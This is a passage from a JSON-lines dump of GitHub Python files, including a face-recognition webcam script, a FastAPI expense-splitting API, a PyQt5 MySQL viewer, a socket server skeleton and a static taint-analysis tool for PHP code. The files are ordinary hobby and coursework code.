face_recognition.face_encodings(faceA4)[0]\nfaceA5 = face_recognition.load_image_file(\"known_faces/Persona5.jpg\")\nfaceA5_encoding = face_recognition.face_encodings(faceA5)[0]\nfaceA6 = face_recognition.load_image_file(\"known_faces/Persona6.jpg\")\nfaceA6_encoding = face_recognition.face_encodings(faceA6)[0]\n\nknown_face_encodings = [\n face1_encoding,\n face2_encoding,\n faceA1_encoding,\n faceA2_encoding,\n faceA3_encoding,\n faceA4_encoding,\n faceA5_encoding,\n faceA6_encoding\n]\n\nknown_face_names = [\n \"Breyner_Albarracin\",\n \"Victor_Romero\",\n \"Persona1\",\n \"Persona2\",\n \"Persona3\",\n \"Persona4\",\n \"Persona5\",\n \"Persona6\"\n]\n\nface_locations = []\nface_encodings = []\nface_names = []\nprocess_this_frame = True\n\nfont = cv2.FONT_HERSHEY_COMPLEX\n\nwhile True:\n ret, frame = video_capture.read()\n\n if (frame is None):\n print(\"start cam...\")\n else:\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n if process_this_frame:\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(\n rgb_small_frame, face_locations)\n\n face_names = []\n for face_encoding in face_encodings:\n matches = face_recognition.compare_faces(\n known_face_encodings, face_encoding)\n name = \"Unknown\"\n\n # if True in matches:\n # first_match_index = matches.index(True)\n # name = known_face_names[first_match_index]\n\n face_distances = face_recognition.face_distance(\n known_face_encodings, face_encoding)\n best_match_index = np.argmin(face_distances)\n if matches[best_match_index]:\n name = known_face_names[best_match_index]\n\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n for (top, right, bottom, left), name in zip(face_locations, face_names):\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n cv2.putText(frame, name, (left + 6, bottom - 6),\n font, 1.0, (255, 255, 255), 1)\n print(name)\n\n cv2.imshow('Cam', frame)\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\nvideo_capture.release()\ncv2.destroyAllWindows()\n","repo_name":"BreynerAlbarracin/biometricaccess","sub_path":"BiometricDetection/Face_Detection.py","file_name":"Face_Detection.py","file_ext":"py","file_size_in_byte":3528,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"229819222","text":"\ndef process_row(row):\n '''\n Function that parses a string, converts middle element into a float, and returns a tuple. \n '''\n for string in row:\n row =(row.split(\",\", 3))\n try:\n if len(row) == 3:\n partone = float(row[1])\n except ValueError:\n partone = \"error\"\n return (row[0], partone, row[2])\n \n \n\n\n# This data is not used in any of the code. It is\n# included as a reference. load_bank_data('customers.csv')\n# should produce a dictionary very similar to this one.\nbank_map = {\n 'Laaibah': (208.1, '10/22/2019'), \n 'Arnold': (380.999, '9/12/2019'), \n 'Sioned': (327.01, '1/1/2019'), \n 'Shayaan': (429.5, '2/28/2019'), \n 'Renee': (535.29, '4/09/2019'), \n 'Conal': (726.77, '9/21/2019'), \n 'Katarina': (730.11, '10/1/2019'), \n 'Theodor': (637.12, '10/15/2019'), \n 'Nadia': (433.33, '8/29/2019'), \n 'Jia': ('error', '7/23/2019'), \n 'Sana': (829.99, '10/26/2019')\n}\n\n\n\ndef load_bank_data(file_name):\n '''\n Calls the previous function, while reading into csv file that\n was provided. creates, adds results from the previous function\n to the dictionary. the dictionary is returned.\n ''' \n\n try:\n with open(file_name, mode='r') as infile:\n records = {}\n \n for row in infile:\n data = process_row(row)\n records[data[0]] = data[1:]\n\n \n return records\n \n except IOError as err:\n return f'File error: {err}'\n except:\n return 'Unknown error'\n\n \n \n\n \n\n\ndef sets_exercise():\n '''\n Functions tests whether items belongs to one, the other, or both sets.\n Items are stored in the dictionary using different keys.\n '''\n upstairs = {\"beds\", \"clothes\", \"toothbrushes\",\"lamps\"}\n downstairs = {\"couch\", \"clothes\", \"chairs\",\"lamps\"}\n\n \n results = {}\n\n up_only = upstairs - downstairs\n results['up_only'] = up_only\n\n down_only = downstairs - upstairs\n results['down_only'] = down_only\n\n both = upstairs & downstairs\n results['both'] = both\n\n all_items = upstairs | downstairs\n results['all_items'] = all_items\n\n return results\n \n \n\n \n\n# --------------------------------------------\n# TEST CODE below. Add all test code in the\n# section below.\n# --------------------------------------------\n\nif __name__ == \"__main__\":\n\n #--- tests for process_row ---\n row = process_row('Laaibah,208.1,10/22/2019')\n row = process_row('Jia,nnn.nnn,7/23/2019')\n assert len(row) == 3, \"Should be 3\"\n assert process_row('Laaibah,208.1,10/22/2019') == ('Laaibah', 208.1, '10/22/2019'), \"Should be ('Laaibah', 208.1, '10/22/2019')\"\n assert process_row('Jia,nnn.nnn,7/23/2019') == ('Jia', 'error', '7/23/2019'), \"Should be ('Jia', 'error', '7/23/2019')\"\n\n\n # --- tests for load_bank_data ---\n data = load_bank_data('no such file')\n assert type(data) == str\n \n\n # --- tests for sets_exercise ---\n results = sets_exercise()\n assert results['up_only'] == {'toothbrushes', 'beds'}\n assert results['down_only'] == {'couch', 'chairs'}\n assert results['both'] == {'clothes', 'lamps'}\n assert results['all_items'] == {'beds', 'clothes', 'toothbrushes', 'lamps', 'couch', 'chairs'}\n\n \n","repo_name":"auwensuyi/csc401","sub_path":"csc401-homework6.py","file_name":"csc401-homework6.py","file_ext":"py","file_size_in_byte":3382,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"35291795556","text":"\nfrom config.db import user_collection, group_collection, expense_collection, owes_collection\n\nfrom fastapi import FastAPI, HTTPException\nfrom bson import ObjectId\nfrom fastapi import APIRouter\nfrom models.models import User, Group, Expense, Owes, OwesResponse\nfrom typing import List\n\n\nexpense_app = APIRouter()\n\n\n@expense_app.post(\"/users/\", response_model=User)\nasync def create_user(user: User):\n user_data = user.dict()\n inserted_user = user_collection.insert_one(user_data)\n user_id = str(inserted_user.inserted_id)\n return {**user_data, \"id\": user_id}\n\n\n@expense_app.get(\"/users\", response_model=List[User])\nasync def get_all_users():\n users = list(user_collection.find())\n return users\n\n\n@expense_app.get(\"/users/{user_id}\", response_model=User)\nasync def get_user_by_id(user_id: str):\n user = user_collection.find_one({\"_id\": ObjectId(user_id)})\n if user:\n return {**user, \"id\": str(user[\"_id\"])}\n else:\n raise HTTPException(status_code=404, detail=\"User not found\")\n\n\n@expense_app.get(\"/users/by_phone/{phone}\", response_model=User)\nasync def get_user_by_phone(phone: str):\n user = user_collection.find_one({\"phone\": str(phone)})\n if user:\n return {**user, \"id\": str(user[\"phone\"])}\n else:\n raise HTTPException(status_code=404, detail=\"User not found\")\n\n\n@expense_app.post(\"/groups/\", response_model=Group)\nasync def create_group(group: Group):\n participants_exist = all(user_collection.find_one({\"_id\": ObjectId(user_id)}) for user_id in group.participants)\n if not participants_exist or not group.participants:\n raise HTTPException(status_code=400, detail=\"Invalid participants\")\n\n group_data = group.dict()\n inserted_group = group_collection.insert_one(group_data)\n group_id = str(inserted_group.inserted_id)\n return {**group_data, \"id\": group_id}\n\n\n# @expense_app.get(\"/groups/{group_id}\", response_model=Group)\n# async def get_group_by_id(group_id: str):\n# group = group_collection.find_one({\"_id\": ObjectId(group_id)})\n# if group:\n# return {**group, \"id\": str(group[\"_id\"])}\n# else:\n# raise HTTPException(status_code=404, detail=\"Group not found\")\n\n\n@expense_app.get(\"/groups/{group_id}\", response_model=Group)\nasync def get_group_by_id(group_id: str):\n group = group_collection.find_one({\"_id\": ObjectId(group_id)})\n if group:\n participant_names = []\n for participant_id in group[\"participants\"]:\n participant = user_collection.find_one({\"_id\": ObjectId(participant_id)})\n if participant:\n participant_names.append(participant[\"name\"])\n\n return {\"participants\": participant_names, \"id\": str(group[\"_id\"])}\n else:\n raise HTTPException(status_code=404, detail=\"Group not found\")\n\n\n@expense_app.post(\"/expenses/\", response_model=Expense)\nasync def create_expense(expense: Expense):\n group = group_collection.find_one({\"_id\": ObjectId(expense.group_id)})\n if not group:\n raise HTTPException(status_code=404, detail=\"Group not found\")\n\n participants = group[\"participants\"]\n amount_per_person = expense.amount / len(participants)\n\n # Update the owes collection\n for participant in participants:\n if participant != expense.user_id:\n owes_data = {\n \"payer\": participant,\n \"payee\": expense.user_id,\n \"amount\": amount_per_person,\n }\n owes_collection.insert_one(owes_data)\n\n expense_data = expense.dict()\n inserted_expense = expense_collection.insert_one(expense_data)\n expense_id = str(inserted_expense.inserted_id)\n return {**expense_data, \"id\": expense_id}\n\n\n@expense_app.get(\"/expenses/{expense_id}\", response_model=Expense)\nasync def get_expense_by_id(expense_id: str):\n expense = expense_collection.find_one({\"_id\": ObjectId(expense_id)})\n if expense:\n return {**expense, \"id\": str(expense[\"_id\"])}\n else:\n raise HTTPException(status_code=404, detail=\"Expense not found\")\n\n\n@expense_app.get(\"/owes/{user_id}\", response_model=List[OwesResponse])\nasync def get_owes_for_user(user_id: str):\n # Get the list of owes for the given user_id\n owes = list(owes_collection.find({\"payee\": user_id}))\n\n # Fetch the names of the payer and payee from user_collection\n owes_response = []\n for owe in owes:\n payer = user_collection.find_one({\"_id\": ObjectId(owe[\"payer\"])})\n payee = user_collection.find_one({\"_id\": ObjectId(owe[\"payee\"])})\n\n if payer and payee:\n description = f\"{payer['name']} owes {payee['name']} {owe['amount']}\"\n owes_response.append({\"description\": description})\n\n return owes_response\n\n\n@expense_app.get(\"/balances/{user_id}\", response_model=List[OwesResponse])\nasync def get_balances_for_user(user_id: str):\n # Get the list of owes for the given user_id (both payer and payee)\n owes = list(owes_collection.find({\"$or\": [{\"payer\": user_id}, {\"payee\": user_id}]}))\n\n # Fetch the names of the payer and payee from user_collection\n balances_response = []\n for owe in owes:\n payer = user_collection.find_one({\"_id\": ObjectId(owe[\"payer\"])})\n payee = user_collection.find_one({\"_id\": ObjectId(owe[\"payee\"])})\n\n if payer and payee:\n description = f\"{payer['name']} owes {payee['name']} {owe['amount']}\"\n balances_response.append({\"description\": description})\n\n return balances_response\n\n\n\n","repo_name":"VishalSinghRana/ExpenseApp","sub_path":"routes/expense.py","file_name":"expense.py","file_ext":"py","file_size_in_byte":5462,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72211928535","text":"#/home/fed/code/par_2/qt5_test_tree.py (ffe2a7e)\n\n# # -*- coding: utf-8 -*-\n\n# import sys\n# from PyQt5.QtWidgets import QMainWindow, QTextEdit, QAction, QApplication\n# from PyQt5.QtGui import QIcon\n\n\n# class Example(QMainWindow):\n\n# def __init__(self):\n# super().__init__()\n\n# self.initUI()\n\n\n# def initUI(self):\n\n# textEdit = QTextEdit()\n# self.setCentralWidget(textEdit)\n\n# exitAction = QAction(QIcon('exit24.png'), 'Exit', self)\n# exitAction.setShortcut('Ctrl+Q')\n# exitAction.setStatusTip('Exit application')\n# exitAction.triggered.connect(self.close)\n\n# # self.statusBar()\n\n# menubar = self.menuBar()\n# fileMenu = menubar.addMenu('&File')\n# fileMenu.addAction(exitAction)\n\n# toolbar = self.addToolBar('Exit')\n# toolbar.addAction(exitAction)\n\n# self.setGeometry(300, 300, 350, 250)\n# self.setWindowTitle('Main window')\n# self.show()\n\n\n# if __name__ == '__main__':\n\n# app = QApplication(sys.argv)\n# ex = Example()\n# sys.exit(app.exec_())\n# -*- coding: utf-8 -*-\n\n# import sys\n# from PyQt5.QtWidgets import (\n# QWidget, QPushButton, QHBoxLayout, QVBoxLayout, QApplication)\n\n\n# class Example(QWidget):\n\n# def __init__(self):\n# super().__init__()\n# self.initUI()\n\n# def initUI(self):\n# okButton = QPushButton(\"OK\")\n# cancelButton = QPushButton(\"Cancel\")\n# hbox = QHBoxLayout()\n# hbox.addStretch(1)\n# hbox.addWidget(okButton)\n# hbox.addWidget(cancelButton)\n# vbox = QVBoxLayout()\n# vbox.addStretch(1)\n# vbox.addLayout(hbox)\n\n# self.setLayout(vbox)\n\n# self.setGeometry(300, 300, 300, 150)\n# self.setWindowTitle('Buttons')\n# self.show()\n\n\n# if __name__ == '__main__':\n# app = QApplication(sys.argv)\n# ex = Example()\n# sys.exit(app.exec_())\n#\nimport sys\nimport time\nfrom PyQt5.QtWidgets import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtSql import *\nfrom PyQt5.QtCore import *\n\n\nclass Example(QWidget):\n def __init__(self):\n super().__init__()\n self.initUI()\n\n def initUI(self):\n db = QSqlDatabase.addDatabase('QMYSQL')\n db.setDatabaseName('soc2')\n db.setHostName('localhost:3306')\n db.setUserName('root')\n db.setPassword('trend')\n db.open()\n\n view = QTableView(self)\n model = QSqlQueryModel(self)\n model.setQuery('SELECT * FROM soc2.region;')\n view.setModel(model)\n view.move(10, 10)\n view.resize(617, 315)\n\n # Buttons:\n button1 = QPushButton('Exit', self)\n button1.resize(button1.sizeHint())\n button1.move(50, 400)\n\n def But1Click():\n if db.close():\n print('close')\n else:\n print('db dont close')\n sys.exit()\n button1.clicked.connect(But1Click)\n\n # Window:\n self.setGeometry(300, 100, 650, 450)\n self.setWindowTitle('Icon')\n self.show()\n\n\nif __name__ == '__main__':\n app = QApplication(sys.argv)\n ex = Example()\n sys.exit(app.exec_())\n\n","repo_name":"GalicinD/par2","sub_path":"qt5_test_tree.py","file_name":"qt5_test_tree.py","file_ext":"py","file_size_in_byte":3182,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"28778974827","text":"# Simple 1D GP classification example\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport GPpref\nimport scipy.optimize as op\n\nlog_hyp = np.log([0.1,1.0,0.1]) # length_scale, sigma_f, sigma_probit\nnp.random.seed(1)\n\nn_train = 20\ntrue_sigma = 0.05\ndelta_f = 1e-5\n\n# Define polynomial function to be modelled\ndef true_function(x):\n y = np.sin(x*2*np.pi + np.pi/4) + 0.2\n return y\n\n# Define noisy observation function\ndef obs_function(x, sigma):\n fx = true_function(x)\n noise = np.random.normal(scale=sigma, size=x.shape)\n return fx + noise\n \ndef noisy_preference_rank(uv, sigma):\n fuv = obs_function(uv,sigma)\n y = -1*np.ones((fuv.shape[0],1),dtype='int')\n y[fuv[:,1] > fuv[:,0]] = 1\n return y, fuv\n\n# Main program\n# Plot true function\nx_plot = np.linspace(0.0,1.0,101,dtype='float')\ny_plot = true_function(x_plot)\n\n# Training data - this is a bit weird, but we sample x values, then the uv pairs\n# are actually indexes into x, because it is easier computationally. You can \n# recover the actual u,v values using x[ui],x[vi]\nx_train = np.random.random((2*n_train,1))\nuvi_train = np.random.choice(range(2*n_train), (n_train,2), replace=False)\nuv_train = x_train[uvi_train][:,:,0]\n\n# Get noisy observations f(uv) and corresponding ranks y_train\ny_train, fuv_train = noisy_preference_rank(uv_train,true_sigma)\n\nhf,ha = plt.subplots(1,1)\nha.plot(x_plot,y_plot,'r-')\nfor uv,fuv,y in zip(uv_train, fuv_train, y_train):\n ha.plot(uv, fuv, 'b-')\n ha.plot(uv[(y+1)/2],fuv[(y+1)/2],'k+')\n\nha.set_title('Training data')\nha.set_ylabel('f(x)')\nha.set_xlabel('x')\n\n\n# GP hyperparameters\n# note: using log scaling to aid learning hyperparameters with varied magnitudes\n\nprefGP = GPpref.PreferenceGaussianProcess(x_train, uvi_train, y_train, delta_f=delta_f)\n\n# Pseudocode:\n# FOr a set of hyperparameters, return log likelihood that can be used by an optimiser\ntheta0 = log_hyp\n\n# log_hyp = op.fmin(prefGP.calc_nlml,theta0)\nf,lml = prefGP.calc_laplace(log_hyp)\n\nha.plot(x_train, f, 'g^')\nplt.show()\n","repo_name":"osurdml/GPtest","sub_path":"GP_preference_demo.py","file_name":"GP_preference_demo.py","file_ext":"py","file_size_in_byte":2021,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"3823008171","text":"print(\"Loading libaries, please wait...\")\r\n\r\nimport time\r\n\r\nstart_time = time.time()\r\n\r\nimport socket\r\nfrom threading import *\r\nimport os\r\n#import sys\r\nimport traceback\r\n\r\nif os.path.isfile(\"python39.dll\"):\r\n os.chdir(os.path.normpath(os.getcwd() + \"\\\\..\"))\r\nelse: \r\n os.chdir(os.getcwd() + \"\\\\server\")\r\nif not os.path.isdir(os.getcwd() + \"\\\\server\"):\r\n os.mkdir(os.getcwd() + \"\\\\server\")\r\n\r\nfrom csdata import *\r\n\r\nfrom client.client import connectionHandler as newConnection\r\n\r\nfrom log import logger\r\n\r\nfrom server.disconnect import disconnect\r\n\r\nfrom utils import stopallthreads, forceexit, sendto, get_hwid\r\n\r\nfrom server.licenseKey import verifyKey as licensekey_verify\r\n\r\nfrom server.loadfilesystem import loadfilesystem\r\n\r\nfrom plugin.plugin import Plugin\r\n\r\nfrom client.command import LoadCommands, ExecuteCommand\r\n\r\n\r\nclass Server:\r\n host = \"127.0.0.1\"\r\n port = 0\r\n \r\n def __init__(self, type=\"\"):\r\n if type == \"run\":\r\n thread = Thread(target=self.serverThread, args=()).start()\r\n pd.threads.append(thread)\r\n self.main()\r\n \r\n elif type == \"shutdown\":\r\n if not self.shutdown == False:\r\n self.shutdown()\r\n\r\n\r\n def main(self):\r\n loadfilesystem(self)\r\n\r\n logger.info(f\"Enviroment: root='{pd.path['root']}', authFile='{pd.path['sessionids']}', name='PROD', host='{self.host}', port='{self.port}'\", \"main\")\r\n logger.info(f\"Starting server version {sinfo.version}\", \"main\")\r\n \r\n logger.info(f\"Creating server enviroment\", \"main\")\r\n self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n\r\n licensekey_verify(self.licenseKey)\r\n\r\n LoadCommands()\r\n Plugin()\r\n \r\n try:\r\n self.server.bind((self.host, self.port))\r\n except Exception as e:\r\n logger.error(\"**** FAILED TO BIND TO PORT! *****\", \"main\")\r\n logger.warn(\"Perhaps a server is already running on that port?\", \"main\")\r\n logger.warn(f\"Exception: {e}\", \"main\")\r\n print(logger.color(\"&eTranslation: &c[WinError 10013] Der Zugriff auf einen Socket war aufgrund der Zugriffsrechte des Sockets unzulässig &ameans: The fucking port is alr in use&r\", \"&\"))\r\n self.shutdown()\r\n \r\n logger.info(f\"Using default channel type\", \"main\")\r\n self.port = self.server.getsockname()[1]\r\n logger.info(f\"Bound host and port\", \"main\")\r\n \r\n logger.info(f\"Loading sessions\", \"main\")\r\n sessionid.loadids()\r\n\r\n #print(f\"Connect using: ip: {host} | port: {port}\")\r\n \r\n logger.info(f'Done ({str(time.time() - start_time)[0:6]}s)! For help, type \"help\"', \"main\")\r\n #logger.info(f\"Timings reset\", \"main\")\r\n #start_time = None\r\n \r\n self.server.listen()\r\n logger.info(f\"Listening on /{self.host}:{self.port}\", \"main\")\r\n os.system(f\"title Server [{self.host}:{self.port}]\")\r\n \r\n while not self.shutdown == False:\r\n try:\r\n try:\r\n (client, address) = self.server.accept()\r\n except KeyboardInterrupt:\r\n return\r\n cd.clients_connected[client] = {}\r\n cd.clients_connected[client]['client'] = client\r\n newConnection(client, address)\r\n except Exception:\r\n print(f\"Failed while hadling client:\\n\")\r\n traceback.print_exc()\r\n\r\n\r\n def serverThread(self):\r\n while not self.shutdown == False:\r\n try:\r\n cmd = input(\"\")\r\n command = ExecuteCommand(cmd)\r\n if command == \"Unknown\":\r\n sendto(\"CONSOLE\", \"Unknown command.\")\r\n else:\r\n try:\r\n command(\"CONSOLE\")\r\n except Exception as e:\r\n logger.error(f\"An error occured while executing a command!\\n{e}\")\r\n except EOFError:\r\n logger.info(f\"Shutting down system...\", \"Server Thread\")\r\n self.shutdown()\r\n\r\n \r\n def shutdown(self):\r\n self.shutdown = False\r\n logger.info(f\"Shutting down...\", \"Shutdown Thread\")\r\n time.sleep(0.3)\r\n \r\n logger.info(f\"Stopping threads [{len(pd.threads)}]\", \"Shutdown Thread\")\r\n stopallthreads()\r\n\r\n time.sleep(0.5)\r\n logger.info(f\"Closing pending connections\", \"Shutdown Thread\")\r\n logger.info(f\"Disconnecting {len(cd.clients_connected)} connections\", \"Shutdown Thread\")\r\n for c in cd.clients_connected:\r\n try:\r\n disconnect(c, \"Server Closed\", supersilent=True)\r\n except:\r\n pass\r\n\r\n time.sleep(0.7)\r\n logger.info(f\"Closing listener [{self.host}:{self.port}]\", \"Shutdown Thread\")\r\n try:\r\n self.server.close()\r\n except:\r\n pass\r\n \r\n logger.info(f\"Bayeeeee have a greatful time!\", \"Shutdown Thread\")\r\n forceexit()\r\n\r\n # def registerEvent(self, event, func):\r\n # self.events.append({\r\n # \"event\": event,\r\n # \"func\": func,\r\n # \"pluginname\": \"abc\"\r\n # })\r\n \r\n # def triggerEvent(self, event):\r\n # for event in self.events:\r\n # if event[event] == event:\r\n # event['func']()\r\n \r\n # def triggerEventfromPlugin(self, event, plugin):\r\n # for event in self.events:\r\n # if event['pluginname'] == plugin:\r\n # event['func']()\r\n\r\n\r\ndef startup():\r\n pd.path['root'] = os.path.dirname(__file__)\r\n pd.path['sdroot'] = os.path.normpath(pd.path['root'] + \"\\\\..\\\\server-data\")\r\n pd.path['pluginroot'] = os.path.normpath(pd.path['sdroot'] + \"\\\\Server.base\\\\plugins\")\r\n pd.path['sessionids'] = pd.path['root'] + \"\\\\sessionid.txt\"\r\n pd.path['shutdown'] = Server().shutdown\r\n pd.path['hwid'] = get_hwid()\r\n\r\ntry:\r\n if os.name == \"nt\":\r\n os.system(f\"title Server [Not listening]\")\r\n startup()\r\n Server(\"run\")\r\nexcept KeyboardInterrupt:\r\n Server(\"shutdown\")\r\n","repo_name":"pierrelasse/PythonServer","sub_path":"Server/server/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"72728292052","text":"from ..modules.config import config\nfrom ..modules.weather import WeatherModule\nfrom ..modules.schedule import ScheduleModule\nimport threading\nfrom .models import Day\n\nimport datetime\nimport logging\n\n\nclass StatusManager:\n\n def __init__(self):\n\n # Get a module to check the opening hours\n self.__schedule = ScheduleModule(config)\n\n self.__weather = WeatherModule(config)\n\n # Update every 15 minutes\n self.__timer = threading.Timer(900, self.update_status)\n\n self.__today = Day()\n\n self.__logger = logging.Logger(\"Main_Logger\")\n\n def update_status(self, request):\n current_time = datetime.datetime.now()\n\n self.__weather.get_update()\n daily_max, daily_min, daily_rain, daily_thunderstorm, daily_category = self.__weather.get_interpretation()\n\n # New day object if midnight has passed\n if self.__today.date != current_time.date():\n self.__today.save(force_update=True)\n\n self.__today = Day()\n self.__today.date = current_time.date()\n\n self.__schedule.update(current_time)\n\n pass\n\n def run_open_check(self):\n\n # Check if the date is valid opening hour to shedule\n if not self.__schedule.is_open():\n return False\n\n if not self.__weather.is_fine():\n return False\n\n return True\n\n def get_logger(self):\n return self.__logger\n","repo_name":"martinleipert/FreibadApp","sub_path":"freibadwidget/freibadwidget/manager.py","file_name":"manager.py","file_ext":"py","file_size_in_byte":1418,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"2170643316","text":"# -*- coding: utf-8 -*-\nimport csv\nimport os\nos.environ.setdefault(\"DJANGO_SETTINGS_MODULE\", \"sunrint_bot.settings\")\nimport django\ndjango.setup()\nfrom chatbot.models import school_cal\n\ndef save():\n data = {}\n f = open('school_cal.csv', 'r', encoding='utf-8')\n rdr = csv.reader(f)\n j = 1\n for line in rdr:\n for i in range(1,13):\n if i+2 <= 12:\n data[str(i + 2).zfill(2)+\"-\"+str(j).zfill(2)] = line[i]\n else:\n data[str(i - 10).zfill(2) + \"-\" + str(j).zfill(2)] = line[i]\n j += 1\n return data\n f.close()\n\nif __name__=='__main__':\n school_cal_data = save()\n school_cal.objects.all().delete()\n for date, data in school_cal_data.items():\n school_cal(date=date, data=data).save()\n","repo_name":"p1nkjelly/KakaoTalk_SunrinBOT","sub_path":"school_cal_to_db.py","file_name":"school_cal_to_db.py","file_ext":"py","file_size_in_byte":776,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"67"} +{"seq_id":"35253331250","text":"from demo2_classes import Teacher, Manager\n\n\nclass Instructor(Teacher, Manager):\n # DOCTSTRING\n \"\"\"\n Classe Insctructor que herda de Teacher e Manager\n \"\"\"\n\n def __init__(self, name: str, quarter: str):\n # Manager.__init__(name, quarter)\n super().__init__(name, quarter)\n self.is_in_demo = False\n\n def start_demo(self):\n if not self.is_in_demo:\n print(\"Demo iniciada...\")\n self.is_in_demo = True\n else:\n print(\"Já esta em uma demo.\")\n\n def end_demo(self):\n if self.is_in_demo:\n print(\"Demo encerrada.\")\n self.is_in_demo = False\n else:\n print(\"Você não está em uma demo\")\n\n def organize_kanban(self):\n # Manager.organize_kanban()\n # Teacher.organize_kanban()\n if not self.is_in_demo:\n super().organize_kanban()\n else:\n print(\"Ocupado\")\n","repo_name":"Kenzie-Academy-Brasil-Developers/q3-demos-turma8","sub_path":"sprint3/demo2/demo2_classes/instructor.py","file_name":"instructor.py","file_ext":"py","file_size_in_byte":928,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"42924552275","text":"import sys\ninput = sys.stdin.readline\n\nt = int(input())\nfor _ in range(t):\n\tn = int(input())\n\n\tdp = [1e9] * (1000*100)\n\tdp[0] = 0\n\tsum_a = 0\n\t\n\tfor _ in range(n):\n\t\ta,b = map(int,input().split())\n\t\tsum_a += a\n\n\t\tfor i in range(100*100, a-1, -1):\n\t\t\tdp[i] = min(dp[i], dp[i-a]+b)\n\n\n\tans = 1e9\n\tfor i in range(sum_a+1):\n\t\tans = min(ans, max(sum_a-i, dp[i]))\n\n\tprint(ans)","repo_name":"Junnjjj/Algorithm","sub_path":"Sample_Question/DP/10982.py","file_name":"10982.py","file_ext":"py","file_size_in_byte":368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"32038264912","text":"from code_analysis import *\nimport json\n\n\nclass TAnalyzer:\n def __init__(self):\n self.cfg = None\n self.ast = None\n self.json = None\n\n def load_json(self, json_path):\n with open(json_path) as json_file:\n self.json = json.load(json_file)\n\n def gen_def(self, node):\n\n if node in self.json[\"defs\"]:\n parent = self.cfg.get_any_parents(node)\n children = self.cfg.get_any_children(node)\n rhs = self.cfg.get_op_hands(children[0])[1]\n if rhs in self.json[\"sources\"]:\n return set([node])\n if rhs in self.json[\"filters\"]:\n return set()\n if rhs in self.json[\"safes\"]:\n return set()\n elif len(parent) > 0:\n parent = parent[0]\n if self.cfg.get_type(parent) == \"BinOP\":\n arg = self.get_var_op(parent)\n\n elif self.cfg.get_type(parent) == \"Variable\":\n arg = [parent]\n else:\n return set()\n\n for a in arg:\n for p in self.json[\"pairs\"]:\n if a == p[1]:\n defi = p[0]\n if defi in self.OUT[node-self.index]:\n return set([node])\n\n return set()\n\n def kill_def(self, node):\n res = []\n if node in self.json[\"defs\"]:\n name = self.cfg.get_image(node)\n for d in self.json[\"defs\"]:\n if self.cfg.get_image(d) == name:\n res.append(d)\n return set(res)\n\n def get_var_op(self, node):\n res = []\n if self.cfg.get_type(node) == \"BinOP\":\n hands = self.cfg.get_op_hands(node)\n\n if self.cfg.get_type(hands[0]) == \"Variable\" or self.cfg.get_type(hands[0]) == \"ArrayExpression\":\n\n res.append(hands[0])\n elif self.cfg.get_type(hands[0]) == \"BinOP\":\n res.extend(self.get_var_op(hands[0]))\n if self.cfg.get_type(hands[1]) == \"Variable\" or self.cfg.get_type(hands[1]) == \"ArrayExpression\":\n res.append(hands[1])\n\n elif self.cfg.get_type(hands[1]) == \"BinOP\":\n\n res.extend(self.get_var_op(hands[1]))\n return res\n\n def sink_compta(self, sink_list):\n res = []\n for k in sink_list:\n defi = []\n sink = k[0]\n for i in k[1]:\n\n if self.cfg.get_image(i) == self.cfg.get_image(sink):\n defi.append(i)\n res.append([sink, defi])\n return res\n\n def poss_t_def(self, cfg: CFG):\n self.cfg = cfg\n self.nodeset = self.cfg.get_node_ids()\n self.index = self.cfg.get_root()\n IN = [set() for i in range(len(self.nodeset))]\n self.OUT = [set() for i in range(len(self.nodeset))]\n old_out = [set() for i in range(len(self.nodeset))]\n changes = True\n while changes:\n changes = False\n for node in self.nodeset:\n nodeindex = node-self.index\n uni = set()\n for pred in self.cfg.get_any_parents(node):\n predindex = pred-self.index\n uni = uni.union(self.OUT[predindex])\n IN[nodeindex] = uni\n old_out[nodeindex] = self.OUT[nodeindex]\n self.OUT[nodeindex] = self.gen_def(node).union(\n IN[nodeindex] - self.kill_def(node))\n if self.OUT[nodeindex] != old_out[nodeindex]:\n\n changes = True\n\n sink_list = []\n for sink in self.json[\"sinks\"]:\n sink_list.append([sink, self.OUT[sink-self.index]])\n\n return self.OUT, self.sink_compta(sink_list)\n\n\nif __name__ == \"__main__\":\n\n cfgreader = CFGReader()\n astreader = ASTReader()\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\"../tp/part_1/file_5.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_1/file_5.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n print(out)\n print(skink)\n\n print(\"\\n---------------\\nwebsite\\n---------------\\n\")\n\n print(\"about.php\")\n t_analyzer = TAnalyzer()\n cfg = cfgreader.read_cfg(\"../tp/part_2/app.cfg/about.php.cfg.json\")\n t_analyzer.load_json(\"../tp/part_2/app.cfg/about.php.taint.json\")\n out, skink = t_analyzer.poss_t_def(cfg)\n\n for x in skink:\n print(\n f\"sink {x[0]} named {cfg.get_image(x[0])} at position {cfg.get_position(x[0])} is tainted by: \")\n for y in x[1]:\n print(\n f\"/!\\/!\\/!\\ def {y} named 